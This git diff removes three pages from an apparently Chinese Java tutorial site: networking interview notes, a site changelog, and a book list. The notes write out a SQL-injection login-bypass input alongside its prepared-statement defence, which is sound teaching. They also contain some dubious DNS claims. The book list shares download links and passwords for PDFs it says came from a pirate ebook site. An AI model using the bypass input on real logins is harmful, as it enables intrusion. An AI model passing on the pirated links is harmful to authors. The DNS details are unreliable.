-Ping是我们测试网络连接的常用指令。 - -它利用ICMP报文检测网络连接。 - -**假设A ping B** - -1. ping通知系统建立一个固定格式的ICMP请求数据包。 - -2. ICMP协议打包这个数据包和B的IP地址转交给IP协议层 - -3. IP层协议将机器B的IP地址为目的地址,本机的IP地址为源地址,加上一些头部必要的控制信息,构建一个IP数据包 - -4. 获取B的MAC地址,做这个操作首先机器A会判断B是否在同一网段内,若IP层协议通过B的IP地址和自己的子网掩码,发现它跟自己属于同一网络,就直接在本网络查找这台机器的MAC,否则则通过路由器进行类似查找。 - -> 接下来是ARP协议根据IP地址查找MAC地址的过程: - -* 若两台机器之前有过通信,在机器A的ARP缓存表里应该存有B的IP与其MAC地址的映射关系。 - -* 若没有,则通过发送ARP请求广播,得到回应的B机器MAC地址,并交给数据链路层 - -5. 数据链路层构建一个数据帧,目的地址是IP层传过来的MAC地址,源地址是本机的MAC地址,再附加一些必要的控制信息,依据以太网的介质访问规则将他们传送出去 - -6. 机器B收到这个数据帧后,先检查目的地址,和本机MAC地址对比: - -符合,接受,接收后检查该数据帧,将IP数据包从帧中提取出来,交给本机的的IP地址协议层协议,IP协议层检查之后,将有用的信息提取给ICMP协议,后者处理,马上构建一个ICMP应答包,发送给A,其过程和主机A发送ICMP请求包到B的过程类似,但不用ARP广播收取A的信息,因为请求包中已经有足够的信息用于B回应A。 - -若不符合,丢弃。 - -可以知道PING的过程即一段发送报文和接受确认报文的过程,在来回直接可以计算时延。 - -### DNS - -DNS通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。 - -**通俗的讲**,我们更习惯于记住一个网站的名字,www.baidu.com,而不是记住它的ip地址,比如:167.23.10.2 - -**工作原理** - -将主机域名转换为ip地址,属于应用层协议,使用UDP传输。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-7d129644-dfa7-4151-ae2f-9f3f084c6be9.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-4ed70ed6-ceeb-4761-8fd4-eb2fe092273d.png) - -第一步,客户端向本地DNS服务器发送解析请求 - -第二步,本地DNS如有相应记录会直接返回结果给客户端,如没有就向DNS根服务器发送请求 - -第三步,DSN根服务器接收到请求,返回给本地服务器一个所查询域的主域名服务器的地址 - -第四步,本地dns服务器再向返回的主域名服务器地址发送查询请求 - -第五步,主域名服务器如有记录就返回结果,没有的话返回相关的下级域名服务器地址 - -第六步,本地DNS服务器继续向接收到的地址进行查询请求 - -第七步,下级域名服务器有相应记录,返回结果 - -第八步,本地dns服务器将收到的返回地址发给客户端,同时写入自己的缓存,以便下次查询 - -DNS域名查询实际上就是个不断递归查询的过程,直到查找到相应结果,需要注意的时,当找不到相应记录,会返回空结果,而不是超时信息 - -#### DNS记录 - -> A记录 - -``` -定义www.example.com的ip地址 -www.example.com.     IN     A     139.18.28.5; -``` - -上面的就是一条 DNS 记录,纯文本即可。 - -`www.example.com` 是要解析的域名。 - -A 是记录的类型,A 记录代表着这是一条用于解析 IPv4 地址的记录。 - -从这条记录可知,`www.example.com`的 IP 地址是 139.18.28.5。 - -> CNAME - -CNAME用于定义域名的别名,如下面这条 DNS 记录: - -``` -定义www.example.com的别名 -a.example.com.          IN     CNAME   b.example.com. -``` - -这条 DNS 记录定义了 `a.example.com` 是 `b.example.com` 的别名。 - -用户在浏览器中输入 `a.example.com` 时候,通过 DNS 查询会知道 `a.example.com` 是 `b.example.com` 的别名,因此需要实际 IP 的时候,会去拿 `b.example.com` 的 A 记录。 - -当你想把一个网站迁移到新域名,旧域名仍然保留的时候;还有当你想将自己的静态资源放到 CDN 上的时候,CNAME 就非常有用。 - -> AAAA 记录 - -A 记录是域名和 IPv4 地址的映射关系。和 A 记录类似,AAAA 记录则是域名和 IPv6 地址的映射关系。 - -> MX记录 - -MX 记录是邮件记录,用来描述邮件服务器的域名。 - -在工作中,我们经常会发邮件到某个同事的邮箱。 - -比如说,发送一封邮件到 `xiaoming@xiaoflyfish.com`,那么如何知道哪个 IP 地址是邮件服务器呢? - -这个时候就可以用到下面这条 MX 记录: - -``` -IN MX mail.xiaoflyfish.com -``` - -`mail.xiaoflyfish.com` 的 IP 地址可以通过查询 `mail.xiaoflyfishcom `的 A 记录和 AAAA 记录获得。 - -> NS 记录 - -NS记录是描述 DNS 服务器网址。从 DNS 的存储结构上说,Name Server 中含有权威 DNS 服务的目录。 - -也就是说,NS 记录指定哪台 Server 是回答 DNS 查询的权威域名服务器。 - -当一个 DNS 查询看到 NS 记录的时候,会再去 NS 记录配置的 DNS 服务器查询,得到最终的记录。如下面这个例子: - -``` -a.com.     IN      NS      ns1.a.com. -a.com.     IN      NS      ns2.a.com. -``` - -当解析 `a.com` 地址时,我们看到 `a.com` 有两个 NS 记录,所以确定最终 `a.com` 的记录在 `ns1.a.com` 和 `ns2.a.com` 上。 - -从设计上看,ns1 和 ns2 是网站 `a.com` 提供的智能 DNS 服务器,可以提供负载均衡、分布式 Sharding 等服务。 - -比如当一个北京的用户想要访问 `a.com` 的时候,ns1 看到这是一个北京的 IP 就返回一个离北京最近的机房 IP。 - -上面代码中 `a.com` 配置了两个 NS 记录。 - -通常 NS 不会只有一个,这是为了保证高可用,一个挂了另一个还能继续服务。 - -通常数字小的 NS 记录优先级更高,也就是 ns1 会优先于 ns2 响应。 - -配置了上面的 NS 记录后,如果还配置了 `a.com` 的 A 记录,那么这个 A 记录会被 NS 记录覆盖。 - -### ARP协议 - -ARP即地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址。 - -**ARP协议的工作过程** - -首先,每个主机都会有自己的ARP缓存区中建立一个ARP列表,以表示IP地址和MAC地址之间的对应关系 - -当源主机要发送数据时,首先检测ARP列表中是否对应IP地址的目的主机的MAC地址,如果有,则直接发送数据,如果没有,就向本网段的所有主机发送ARP数据包 - -当本网络的所有主机收到该ARP数据包时,首先检查数据包中的IP地址是否是自己的IP地址,如果不是,则忽略该数据包,如果是,则首先从数据包中取出源主机的IP和MAC地址写入到ARP列表中,如果存在,则覆盖然后将自己的MAC地址写入ARP响应包中,告诉源主机自己是它想要找的MAC地址 - -源主机收到ARP响应包后,将目的主机的IP和MAC地址写入ARP列表,并利用此信息发送数据,如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 数字签名 - -网络传输过程中需要经过很多中间节点,虽然数据无法被解密,但可能被篡改 - -数字签名校验数据的完整性 - -**数字签名有两种功效**: - -- 能确定消息确实是由发送方签名并发出来的,因为别人假冒不了发送方的签名。 - -- 数字签名能确定消息的完整性,证明数据是否未被篡改过。 - -将一段文本先用Hash函数生成消息摘要,然后用发送者的私钥加密生成数字签名,与原文文一起传送给接收者 - -接收者只有用发送者的公钥才能解密被加密的摘要信息,然后用HASH函数对收到的原文产生一个摘要信息,与上一步得到的摘要信息对比。 - -如果相同,则说明收到的信息是完整的,在传输过程中没有被修改,否则说明信息被修改过,因此数字签名能够验证信息的完整性。 - -## SQL注入 - -SQL注入的原理是将SQL代码伪装到输入参数中,传递到服务器解析并执行的一种攻击手法。 - -**SQL注入攻击实例** - -比如,在一个登录界面,要求输入用户名和密码,可以这样输入实现免帐号登录: - -``` -用户名: ‘or 1 = 1 -- -密 码: -``` - -用户一旦点击登录,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了。 - -下面我们分析一下:从理论上说,后台认证程序中会有如下的SQL语句: - -```sql -String sql = “select * from user_table where username=’ “+userName+” ’ and password=’ “+password+” ‘”; -``` - -因此,当输入了上面的用户名和密码,上面的SQL语句变成: - -```sql -SELECT * FROM user_table WHERE username=’’or 1 = 1 –- and password=’’ -``` - -分析上述SQL语句我们知道,`username=‘ or 1=1` 这个语句一定会成功;然后后面加`两个 -`,这意味着注释,它将后面的语句注释,让他们不起作用,这样,上述语句永远都能正确执行,用户轻易骗过系统,获取合法身份。 - -**应对方法** - -> 预编译 - -使用预编译手段,绑定参数是最好的防SQL注入的方法。 - -目前许多的ORM框架及JDBC等都实现了SQL预编译和参数绑定功能,攻击者的恶意SQL会被当做SQL的参数而不是SQL命令被执行。 - -在mybatis的mapper文件中,对于传递的参数我们一般是使用 ## 和`$`来获取参数值。 - -当使用#时,变量是占位符,就是一般我们使用java的jdbc的PrepareStatement时的占位符,所有可以防止sql注入; - -当使用`$`时,变量就是直接追加在sql中,一般会有sql注入问题。 - -> 使用正则表达式过滤传入的参数 - -> 过滤参数中含有的一些数据库关键词 - -## 加密算法 - -加密算法分**对称加密** 和 **非对称加密**,其中对称加密算法的加密与解密密钥相同,非对称加密算法的加密密钥与解密密钥不同,此外,还有一类不需要密钥的**散列算法**。 - -常见的 **对称加密** 算法主要有 `DES`、`3DES`、`AES` 等,常见的 **非对称算法** 主要有 `RSA`、`DSA` 等,**散列算法** 主要有 `SHA-1`、`MD5` 等。 - -### 对称加密 - -在 **对称加密算法** 中,使用的密钥只有一个,发送和接收双方都使用这个密钥对数据进行 **加密** 和 **解密**。 - -- 数据加密过程:在对称加密算法中,数据发送方 将 **明文** (原始数据) 和 **加密密钥** 一起经过特殊 **加密处理**,生成复杂的 **加密密文** 进行发送。 - -- 数据解密过程:**数据接收方** 收到密文后,若想读取原数据,则需要使用 **加密使用的密钥** 及相同算法的 **逆算法** 对加密的密文进行解密,才能使其恢复成 **可读明文**。 - -### 非对称加密 - -**非对称加密算法**,它需要两个密钥,一个称为 **公开密钥** (`public key`),即 **公钥**,另一个称为 **私有密钥** (`private key`),即 **私钥**。 - -因为 **加密** 和 **解密** 使用的是两个不同的密钥,所以这种算法称为 **非对称加密算法**。 - -1. 如果使用 **公钥** 对数据 **进行加密**,只有用对应的 **私钥** 才能 **进行解密**。 - -1. 如果使用 **私钥** 对数据 **进行加密**,只有用对应的 **公钥** 才能 **进行解密**。 - -**例子**:甲方生成 **一对密钥** 并将其中的一把作为 **公钥** 向其它人公开,得到该公钥的 **乙方** 使用该密钥对机密信息 **进行加密** 后再发送给甲方,甲方再使用自己保存的另一把 **专用密钥** (**私钥**),对 **加密** 后的信息 **进行解密**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 网络攻击 - -### CSRF和XSS - -**XSS:** - -跨站脚本是一种网站应用程序的安全漏洞攻击,是代码注入的一种。 - -它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响,这类攻击通常包含了HTML以及用户端脚本语言。 - -比如通过客户端脚本语言(最常见如:JavaScript) - -在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS - -**XSS攻击分类** - -> 反射性XSS攻击 (非持久性XSS攻击) - -例如,正常发送消息: - -``` -http://www.test.com/message.php?send=Hello,World! -``` - -接收者将会接收信息并显示HelloWorld;但是,非正常发送消息: - -``` -http://www.test.com/message.php?send=! -``` - -接收者接收消息显示的时候将会弹出警告窗口! - -> 持久性XSS攻击 (留言板场景) - -一般指XSS攻击代码存储在网站数据库,当一个页面被用户打开的时候执行。 - -也就是说,每当用户使用浏览器打开指定页面时,脚本便执行。 - -与非持久性XSS攻击相比,持久性XSS攻击危害性更大。 - -从名字就可以了解到,持久性XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。 - -例如,留言板表单中的表单域: - -``` - -``` - -正常操作流程是:用户是提交相应留言信息 — 将数据存储到数据库 — 其他用户访问留言板,应用去数据并显示; - -而非正常操作流程是攻击者在value填写: - -``` - -``` - -并将数据提交、存储到数据库中;当其他用户取出数据显示的时候,将会执行这些攻击性代码 - -**CSRF:** - -跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。 - -比如冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。 - -### DOS攻击 - -DOS:中文名称是拒绝服务,该攻击的效果是使得计算机或网络无法提供正常的服务 - -**DOS攻击的原理:** - -首先攻击者向被攻击的服务器发送大量的虚假IP请求,被攻击者在收到请求后返回确认信息,等待攻击者进行确认,该过程需要TCP的三次握手,由于攻击者发送的请求信息是虚假的,所以服务器接收不到返回的确认信息,在一段时间内服务器会处与等待状态,而分配给这次请求的资源却被有被释放 - -当被攻击者等待一定的时间后,会因连接超时而断开,这时攻击者在次发送新的虚假信息请求,这样最终服务器资源被耗尽,直到瘫痪 - -**DDOS:中文名称是分布式拒绝服务攻击** - -指的是攻击者控制多台主机同时向同一主机或网络发起`DOS`攻击 - -DRDoS分布反射式拒绝服务攻击这是`DDoS`攻击的变形 - -**DDOS究竟如何攻击** - -目前最流行也是最好用的攻击方法就是使用`SYN-Flood`进行攻击,SYN-Flood也就是SYN洪水攻击 - -SYN-Flood不会完成TCP三次握手的第三步,也就是不发送确认连接的信息给服务器,这样,服务器无法完成第三次握手,但服务器不会立即放弃,服务器会不停的重试并等待一定的时间后放弃这个未完成的连接,这段时间叫做`SYN timeout`,这段时间大约30秒-2分钟左右。 - -若是一个用户在连接时出现问题导致服务器的一个线程等待1分钟并不是什么大不了的问题,但是若有人用特殊的软件大量模拟这种情况,那后果就可想而知了。一个服务器若是处理这些大量的半连接信息而消耗大量的系统资源和网络带宽,这样服务器就不会再有空余去处理普通用户的正常请求(因为客户的正常请求比率很小),这样这个服务器就无法工作了,这种攻击就叫做`SYN-Flood`攻击 - -到目前为止,进行DDoS攻击的防御还是比较困难的 - -首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击 - -不过这不等于我们就没有办法阻挡DDoS攻击,我们可以尽力来减少DDoS的攻击 - -**下面就是一些防御方法:** - -1. 关闭不必要的服务 - -2. 限制同时打开的SYN半连接数目 - -3. 缩短SYN半连接的time out 时间 - -4. 正确设置防火墙 - -5. 禁止对主机的非开放服务的访问 - -6. 限制特定IP地址的访问 - -7. 启用防火墙的防DDoS的属性 - -## Cookie和Session - -Session 是**基于Cookie 实现**的另一种记录服务端和客户端会话状态的机制。 - -Session 是存储在服务端,而 SessionId 会被存储在客户端的 Cookie 中。 - -Session 的**认证过程**: - -1. 客户端第一次发送请求到服务端,服务端根据信息创建对应的 Session,并在响应头返回 SessionID -2. 客户端接收到服务端返回的 SessionID 后,会将此信息存储在 Cookie 上,同时会记录这个 SessionID 属于哪个域名 -3. 当客户端再次访问服务端时,请求会自动判断该域名下是否存在 Cookie 信息,如果有则发送给服务端,服务端会从 Cookie 中拿到 SessionID,再根据 SessionID 找到对应的 Session,如果有对应的 Session 则通过,继续执行请求,否则就中断 - -**Cookie和Session的区别** - -1. 安全性,因为 Cookie 可以通过客户端修改,而 Session 只能在服务端设置,所以安全性比 Cookie 高,一般会用于验证用户登录状态 -2. 适用性,Cookie 只能存储字符串数据,而 Session 可以存储任意类型数据 -3. 有效期,Cookie 可以设置任意时间有效,而 Session 一般失效时间短 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 常见面试题 - -**在浏览器地址栏键入URL** - -1.DNS解析:浏览器会依据URL逐层查询DNS服务器缓存,解析URL中的域名对应的IP地址,DNS缓存从近到远依次是浏览器缓存、系统缓存、路由器缓存、IPS服务器缓存、域名服务器缓存、顶级域名服务器缓存。 - -从哪个缓存找到对应的IP直接返回,不再查询后面的缓存。 - -2.TCP连接:结合三次握手 - -3.发送HTTP请求:浏览器发出读取文件的HTTP请求,该请求发送给服务器 - -4.服务器处理请求并返回HTTP报文:服务器对浏览器请求做出响应,把对应的带有HTML文本的HTTP响应报文发送给浏览器 - -5.浏览器解析渲染页面 - -6.连接结束:浏览器释放TCP连接,该步骤即四次挥手。 - -第5步和第6步可以认为是同时发生的,哪一步在前没有特别的要求 - - - ---- - ->作者:月伴飞鱼,转载链接:[https://mp.weixin.qq.com/s/7EddtzpwIRvYfw34QE4zvw](https://mp.weixin.qq.com/s/7EddtzpwIRvYfw34QE4zvw) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/download/history.md b/docs/src/download/history.md deleted file mode 100644 index 8de07f30fa..0000000000 --- a/docs/src/download/history.md +++ /dev/null @@ -1,82 +0,0 @@ -# 网络日志 - -### 2022年08月12日 - -- 优化面向对象编程内容 - -### 2022年06月22日 - -- [增加博客页](/blog.md) - -### 2022年06月06日 - -- [macOS下如何运行编程喵源码](/springboot/macos-codingmore-run.md) -- 修正 w63967261 提出的问题 -- 修正 gqcdm 提出的问题 -- [增加 MyBatis 面渣逆袭](/sidebar/sanfene/mybatis.md) - - -### 2022年05月31日 - -- 升级 VuePress-hope 的版本 - -### 2022年05月21日 - -- 增加 Spring Boot 专栏 -- 增加 MySQL 文档 -- 增加微服务网关文档 - -### 2022年05月09日 - -- [增加面渣逆袭板块](/sidebar/sanfene/nixi.md) -- [Spring Boot 整合 MySQL-Druid](/springboot/mysql-druid.md) - -### 2022年04月30日 - -- 批量替换所有图片链接为阿里云的 CDN 链接 - -### 2022年04月29日 - -- [增加内部类](/oo/inner-class.md) - -### 2022年04月27日 - -- 修改整形到整型,By Lettuce - -### 2022年04月21日 - -- 重新定制左侧菜单 - -### 2022年04月19日 - -- [增加文档搜索功能](https://mp.weixin.qq.com/s/JVdQj-Fl9RPjt4P0y5Ws8g) - -### 2022年04月02日 - -- [杨锅锅同学提出错误:浮点多了个long, 整数少了个int](/sidebar/sanfene/javase.md) -- [增加数据结构与算法的学习路线](/xuexiluxian/algorithm.md) - -### 2022年03月31日 - -- 增加学习建议板块 - -### 2022年03月29日 - -- [修改学习路线部分的404错误](/xuexiluxian/) -- [增加Java整体学习路线](/xuexiluxian/java/yitiaolong.md) -- [增加Java虚拟机学习路线](/xuexiluxian/java/jvm.md) - -### 2022年03月27日 - -- [增加Java并发编程的内容](/home.md#java并发编程); -- [增加Java虚拟机模块的内容](/home.md#java虚拟机); - - -### 2022年03月19日 - -[Docsify 升级到 VuePress](https://mp.weixin.qq.com/s/cNtUmtVJsF0d6lQ26UFFOw) - - -### 2022年01月01日 - -[二哥的小破站终于上线了](https://mp.weixin.qq.com/s/NtOD5q95xPEs4aQpu4lGcg) \ No newline at end of file diff --git a/docs/src/download/javabooks.md b/docs/src/download/javabooks.md deleted file mode 100644 index 25389e167b..0000000000 --- a/docs/src/download/javabooks.md +++ /dev/null @@ -1,607 +0,0 @@ -

Java程序员必读书单(超1000本PDF,附下载地址)

-

- 公众号 - 知乎 - CSDN - 哔哩哔哩 - 二哥的Java进阶之路 - 免费PDF -

- - -#### 1、👉 如果国内访问Github网速较慢,我在码云也放了一份书籍资源,国内访问速度更快,点此直达  - -本仓库**持续更新**中,后续会陆续分享更多经典电子书,**强烈建议大家 Star 下本仓库**,下次找书可以直接 **Ctrl + F**,找书再也不愁 ! - - -#### 2、🔥🔥🔥二哥的Java进阶之路 - -我把**自己近 10 年来学习编程的所有原创文章和学习资料**做成了一个网站,适用于**计算机校招应届生以及毕业三年之内的社招求职党**,传送门 - - - - - -#### 3、👍🏻一位美团后端研发工程师的面渣逆袭手册,点此一键免费获取 - -#### 4、⭐可能是2022年全网最全的学习和找工作的PDF资源,点此一键免费获取 - -#### 5、😜发现一个相当不错的计算机各类种语言&学科学习路线, 点此查看 - -#### 6、赞赏 - -
-

这些书籍基本都是我从一个盗版电子书网站上收集到的,网址是:kanshuy1234.com,现在分享出来希望能对大家有所帮助,自己也花了很久时间整理出来的。

- 如果觉得本仓库有用,赏赐一块钱,买杯奶茶喝可好?感谢您了~

-
- -
- - ->点击下列目录直接跳转书籍所在类别,但有时目录跳转会失灵...如果没有没有正常跳转可以动动小手向下拉即可,全部的书籍都在本页面。 -> ->笔者是一个人在维护这个仓库,本地大概是1100多本书了,需要一步步慢慢上传,我只能在闲暇时间慢慢更新,目前已经更新超过1000+了,如果没有您要用的书,可以加一下 **个人微信**([qing_gee](https://cdn.paicoding.com/tobebetterjavaer/images/qing_gee_noname.jpg)),注明来意,我会慢慢添加上去的。一个人的力量是有限的,请谅解一下。 - -- [01、入门](#入门) -- [02、工具](#工具) -- [03、框架](#框架) - - [Struts2](#Struts2) - - [Spring](#Spring) - - [Netty](#Netty) -- [04、数据库](#10、数据库) - - [SQL](#SQL) - - [MySQL](#MySQL) - - [Redis](#Redis) - - [MongoDB](#MongoDB) -- [05、并发编程](#并发编程) -- [06、JVM](#JVM) -- [07、性能优化](#性能优化) -- [08、设计模式](#设计模式) -- [09、操作系统](#操作系统) - - [Linux 基础知识](#Linux基础知识) - - [Linux 环境编程](#Linux环境编程) - - [Linux 内核](#Linux内核) -- [10、计算机网络](#计算机网络) - - [Linux 网络编程](#Linux网络编程) - - [wireshark](#wireshark) -- [11、数据结构与算法](#数据结构与算法) -- [12、面试](#面试) -- [13、大数据](#大数据) -- [14、架构](#架构) -- [15、管理](#管理) -- [16、扩展](#扩展) - - [领域驱动设计](#DDD) - - [区块链](#区块链) - - [人工智能](#人工智能) - - [搜索引擎](#搜索引擎) - - [网络安全](#网络安全) - - [消息队列](#消息队列) - - [云计算](#云计算) - - [AR&VR](#AR&VR) - - [Docker](#Docker) - - [Kubernets](#Kubernets) - - [IoT](#IoT) - - [测试](#测试) - - [其他语言](#其他语言) - - [Android](#Android) - - [C](#C) - - [C++](#C++) - - [JavaScript](#JavaScript) - - [Python](#Python) - - [go](#go) - - [JavaWeb](#JavaWeb) - - [JSP](#JSP) - - [Kotlin](#Kotlin) -- [17、加餐](#加餐) -- [18、活着](#活着) -- [免责声明](#免责声明) - - -简单说一下我为什么要花半个多月的时间来整理这份书单。主要是因为很多读者的知识体系是零散的,不成系统的,况且技术书籍这么庞杂。有了我这份清单之后,那些没有经验或者经验有限的初学者,在学习的时候思路瞬间就开阔了许多:少走弯路,利用有限的精力,更加高效地学习。 - -- 想应聘初级 Java 工程师,那只需要阅读入门、工具、框架和数据库方面的书籍就行了; -- 如果想应聘 Java 高级工程师,那么就需要阅读并发编程、底层、性能优化方面的书籍; -- 如果还想更进一步,那么就要着手阅读设计模式、操作系统、计算机网络、数据结构与算法等方面的书籍; -- 记住一点,在应聘之前,请恶补一下面试方面的资料; -- 如果时间充沛,大数据、架构、管理方面的书籍可以读起来; -- 如果还有时间,DDD、区块链、人工智能、搜索引擎、网络安全、消息队列、云计算、容器、智能家居等等方面的书籍,就可以读起来了; - -技术学累了,可以读一读理财金融方面的书籍,比如说香帅北大金融学课、李笑来的学习学习再学习,思维认知方面,强烈推荐《沉默的大多数》,我的偶像王小波的散文集。 - -最后,不管怎样,活着最重要! - - -## 入门 - -- 二哥的Java进阶之路 [百度云下载链接](https://pan.baidu.com/s/1UkyKSmQ_oabpY6HJZyl7pw) 密码:v0i5 -- GitHub 上标星 115k+ 的 Java 教程 [百度云下载链接](https://pan.baidu.com/s/1rT0l5ynzAQLF--efyRHzQw) 密码:dz95 -- Head First Java [百度云下载链接](https://pan.baidu.com/s/14VZolSYQcyGKaG2WRpPB_w) 提取码:c07s -- Java 核心技术卷 [百度云下载链接](https://pan.baidu.com/s/1Um_boa6CusUAfjIY6x6Gzw) 提取码:1fvj -- Java 编程思想 [百度云下载链接](https://pan.baidu.com/s/1cQYOWEMmHy8Z60I_NXRqug) 密码:9xcr -- Java 8 实战 [百度云下载链接](https://pan.baidu.com/s/1h377QitObb4cbwXgTuV8Ww) 提取码:nfbm -- Java 核心知识点整理 [百度云下载链接](https://pan.baidu.com/s/1AkY43NQeejg4SON8PtSnOg) 提取码:e6tl -- Java 基础核心总结 [百度云下载链接](https://pan.baidu.com/s/1vFDVc214I00m3VGbZkHxLA) 提取码:x2qi -- 第一行代码 Java [百度云下载链接](https://pan.baidu.com/s/1EWIs7BcMNZK13uUsh2oyeQ) 提取码:zhuk -- 疯狂 Java 讲义 [百度云下载链接](https://pan.baidu.com/s/1XLWhznze2wJ9rPBJVnBKQQ) 提取码:em2k -- 黑马程序员 Java 自学宝典 [百度云下载链接](https://pan.baidu.com/s/1PE3qsG3p5pTZgG252PlFTw) 提取码:7mm0 -- Java 软件开发复习提纲 [百度云下载链接](https://pan.baidu.com/s/1VDewdGcBg7_cNgY-7t0lqA) 提取码:ztfu -- Java 程序设计语言 [百度云下载链接](https://pan.baidu.com/s/1aDRIyY7vdls-zW_YEj32mw) 提取码:xc2a -- Java 从入门到精通 [百度云下载链接](https://pan.baidu.com/s/1Bxlq1KYU9WBHtZpaMtaA8A) 提取码:2msp -- Java 从小白到大牛 [百度云下载链接](https://pan.baidu.com/s/1YR7wXL68vvukGCWfjby4sg) 提取码:4oon -- Java 技术手册 [百度云下载链接](https://pan.baidu.com/s/1KYNE4yjt1DiizuZ7Fjl0Cw) 提取码:wx6l -- Java 趣味编程 100 例 [百度云下载链接](https://pan.baidu.com/s/1mxipMmn_4fY1AeLxqvp6Tw) 提取码:gfaq -- Java 入门 123 [百度云下载链接](https://pan.baidu.com/s/1l5b7HByO2adddG3qpjSvnA) 提取码:tdb0 -- Java 网络编程 [百度云下载链接](https://pan.baidu.com/s/156lbtD6AAidIpgn6hdflsw) 提取码:6ovu - -## 工具 - -- Maven 实战 [百度云下载链接](https://pan.baidu.com/s/1wdoaqX37FyqxvXEAtIs_6A) 密码:daj5 -- Maven 入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/1BF7JMjLdpwXUkP-ckRsTRw) 密码:bztw -- Git 权威指南 [百度云下载链接](https://pan.baidu.com/s/19ilSDLTi_fKQfAtNsLV9NA) 密码:sdvy -- Eclipse 插件开发学习笔记 [百度云下载链接](https://pan.baidu.com/s/1QmnVfn8iAR0ZnymnFHHTYw) 密码:ri78 -- 日志系统手册(Log4j、SLF4J、Logback、Log4j 2) [百度云下载链接](https://pan.baidu.com/s/1dPwsQhT5OMVapE7hGi7vww) 密码:fxxy -- IntelliJ IDEA 简体中文专题教程(电子版-2015) [百度云下载链接](https://pan.baidu.com/s/1zyTQ_clx-lLFhjHvakJYBQ) 密码:wskm -- GitHub入门与实践 [百度云下载链接](https://pan.baidu.com/s/1v7vAOLctPp3R_eGgjH02Rg) 密码:kidr - -## 框架 - -- SpringBoot实战(第4版) [百度云下载链接](https://pan.baidu.com/s/1HWJRkmDvmITX7cWgsIBgRA) 密码:y6c6 -- SpringMVC 入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/1gb9biSZoIXh3Au-kT5pkrw) 密码:1j0h -- MyBatis 从入门到精通 [百度云下载链接](https://pan.baidu.com/s/1cYpBIyfJYR4-J8aNNG9MZQ) 密码:8vjv -- MyBatis 入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/1I6wIKTpLJRmZrcAUdw0B-g) 密码:7zj7 -- Hibernate 实战 [百度云下载链接](https://pan.baidu.com/s/195sp0sK2vGOJAMBTfVwHrQ) 密码:piv6 - -### Struts2 - -- 开发技巧和整合策略-Struts2 [百度云下载链接](https://pan.baidu.com/s/1f_iot1ryVTNJvhK6lDod5Q) 密码:htn3 -- Struts2 技术内幕——深入解析 Struts2 架构设计与实现原理 [百度云下载链接](https://pan.baidu.com/s/1_wtlS-As1kMTiPzbOqntYQ) 密码:2mv2 - -### Spring - -- Spring 知识点概述 [百度云下载链接](https://pan.baidu.com/s/1u5b3BdTyVBAB1mgqzVp7Ow) 密码:1hcq -- Spring 入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/17nzGQQf5mD7i-WEHxXWLsg) 密码:zvob -- Spring 技术手册 [百度云下载链接](https://pan.baidu.com/s/1XEKhXPJ03QO7ZELb1Zj84A) 密码:ox17 -- Spring 揭秘 [百度云下载链接](https://pan.baidu.com/s/1_ML4dS0zrcyLbXmO3ZjYxA) 密码:4lj7 -- Spring 实战 [百度云下载链接](https://pan.baidu.com/s/1WNp27wAzlbfpmg9cjGdc2w) 密码:lw0b - -### Netty - -- Netty 进阶之路 跟着案例学 [百度云下载链接](https://pan.baidu.com/s/1jg4BGtw8kFrH7nKBIo0TtA) 密码:iwij -- Netty 权威指南 [百度云下载链接](https://pan.baidu.com/s/1cjDt7j3KiQ-pNyB8AF7CBQ) 密码:4n6n -- Netty 实战 [百度云下载链接](https://pan.baidu.com/s/1mBEwTjs-e-TQXKGwjx2dcg) 密码:gy3p - - - -## 数据库 - -- 数据库系统基础教程 [百度云下载链接](https://pan.baidu.com/s/10aDnMcJiFooUEssYajBUmQ) 密码:nmee -- 自己动手设计数据库 [百度云下载链接](https://pan.baidu.com/s/1ab0dwoxmpHU7BYPuDFLnSA) 密码:tj8g -- SQL+Server+2008 实战 [百度云下载链接](https://pan.baidu.com/s/1jFssmyZd0jm7-v4N3VjIoQ) 密码:5m2v - -### SQL - -- Head First SQL [百度云下载链接](https://pan.baidu.com/s/1X1hOs62vV5zOd-yy9FmvMQ) 密码:u979 -- SQL 必知必会 [百度云下载链接](https://pan.baidu.com/s/1lLl6teMBCUl8SCXLnfuSMA) 密码:qv4z -- SQL 学习指南 [百度云下载链接](https://pan.baidu.com/s/1ZbqjUX-9AcorJb1r5PSNJA) 密码:hdf0 - -### MySQL - -- MySQL 必知必会 [百度云下载链接](https://pan.baidu.com/s/1wUjTKeClvZ_i-Cpz_N14Ng) 密码:q9cu -- 深入浅出MySQL [百度云下载链接](https://pan.baidu.com/s/1jwBTcbMKMuTOeWXR44v-mQ) 密码:ri07 -- MySQL 技术内幕 innodb 存储引擎 [百度云下载链接](https://pan.baidu.com/s/1DggY3AfGGfNZvJaaDh6EKQ) 密码:uetn -- MySQL 技术内幕 SQL 编程 [百度云下载链接](https://pan.baidu.com/s/1L7lqrHPHGEJEbweoBOLLnQ) 密码:wxzb -- MySQL 性能调优与架构设计 [百度云下载链接](https://pan.baidu.com/s/1hHbIbpsu-7g76r54GUVCIg) 密码:1464 -- 高性能 MySQL 